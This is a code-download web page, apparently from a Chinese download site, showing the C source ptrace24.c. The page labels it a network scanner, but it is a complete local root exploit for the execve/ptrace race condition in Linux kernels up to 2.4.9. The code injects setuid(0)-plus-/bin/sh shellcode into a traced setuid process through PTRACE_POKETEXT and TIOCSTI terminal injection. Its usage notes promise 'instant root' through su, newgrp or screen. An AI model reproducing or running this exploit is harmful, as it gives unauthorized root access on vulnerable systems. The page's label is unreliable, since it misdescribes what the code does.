⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ptrace24.c

📁 一个网络扫描程序的源代码
💻 C
字号:
/*	ptrace24.c [ improved by sd@ircnet ]	~~~~~~~~~~	exploit for execve/ptrace race condition in Linux kernel up to 2.4.9	Originally by Nergal.	Improved by sd.	This sploit doesn't need offset in victim binary	coz were using regs.eip instead (shellcode is non-self modifying)	It should work on openwall-patched kernels (but not on	Openwall GNU Linux as Nergal mentioned in advisory)		Use:		cc ptrace24.c -o ptrace24		./ptrace24	It gives instant root with any of: su, newgrp, screen [if +s]	(assuming if no password requiered) just change #define TARGET.		NOTE: This works only if it's executed on a tty [i.e. interactively].*/#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ptrace.h>#include <sys/ioctl.h>#include <linux/user.h>#include <limits.h>#include <unistd.h>#include <signal.h>#include <wait.h>#include <fcntl.h>#define VICTIM	"/usr/bin/passwd"#define TARGET  "/usr/bin/newgrp"/* quite tricky shellcode, it doesn't need +W, so we can use it in .text *//* setuid(0) + /bin/sh = 31 bytes*/char sc[]=	"\x6a\x17\x58\x31\xdb\xcd\x80\x31"	"\xd2\x52\x68\x6e\x2f\x73\x68\x68"	"\x2f\x2f\x62\x69\x89\xe3\x52\x53"	"\x89\xe1\x8d\x42\x0b\xcd\x80";void ex_passwd(int fd){	char z;	dup2(2, 1);        if (read(fd, &z, 1) <= 0) {        	perror("read:");        	exit(1);        }        execl(VICTIM, VICTIM, 0);        perror("execl");        exit(1);}void insert(char *us, int pid){        char buf[100];        char *ptr = buf;        sprintf(buf, "exec %s %i\n", us, pid);        while (*ptr && !ioctl(0, TIOCSTI, ptr++));}
int	insert_shellcode(int pid){        int	i, wpid;        struct	user_regs_struct regs;        if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {                perror("PTRACE_GETREGS");                exit(0);        }        for (i = 0; i <= strlen(sc) + 1; i += 4)                ptrace(PTRACE_POKETEXT, pid, regs.eip + i,                    *(unsigned int *) (sc + i));        if (ptrace(PTRACE_SETREGS, pid, 0, &regs))                exit(0);        if (ptrace(PTRACE_DETACH, pid, 0, 0))                exit(0);        close(2);        do {                wpid = waitpid(-1, NULL, 0);                if (wpid == -1) {                        perror("waitpid");                        exit(1);                }        } while (wpid != pid);	return 0;}int	
main(int argc, char *argv[]){        int	res;        int	pid, n;        int	pipa[2];	if ((argc == 2) && ((pid = atoi(argv[1])))) {		return insert_shellcode(pid);	}        pipe(pipa);        switch (pid = fork()) {	        case -1:	                perror("fork");	                exit(1);	        case 0:	                close(pipa[1]);	                ex_passwd(pipa[0]);	        default:;        }
        res = ptrace(PTRACE_ATTACH, pid, 0, 0);        if (res) {                perror("attach");                exit(1);        }        res = waitpid(-1, NULL, 0);        if (res == -1) {                perror("waitpid");                exit(1);        }        res = ptrace(PTRACE_CONT, pid, 0, 0);        if (res) {                perror("cont");                exit(1);        }        fprintf(stderr, "attached\n");        switch (fork()) {	        case -1:	                perror("fork");	                exit(1);	        case 0:	                close(pipa[1]);	                sleep(1);	                insert(argv[0], pid);	                do {				char c;	                        n = read(pipa[0], &c, 1);	                } while (n > 0);	                if (n < 0)	                        perror("read");	                exit(0);	        default:;	}        close(pipa[0]);        dup2(pipa[1], 2);        close(pipa[1]);        /* Decrystallizing reason */        setenv("LD_DEBUG", "libs", 1);        /* With strength I burn */        execl(TARGET, TARGET, 0);	return 1;}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -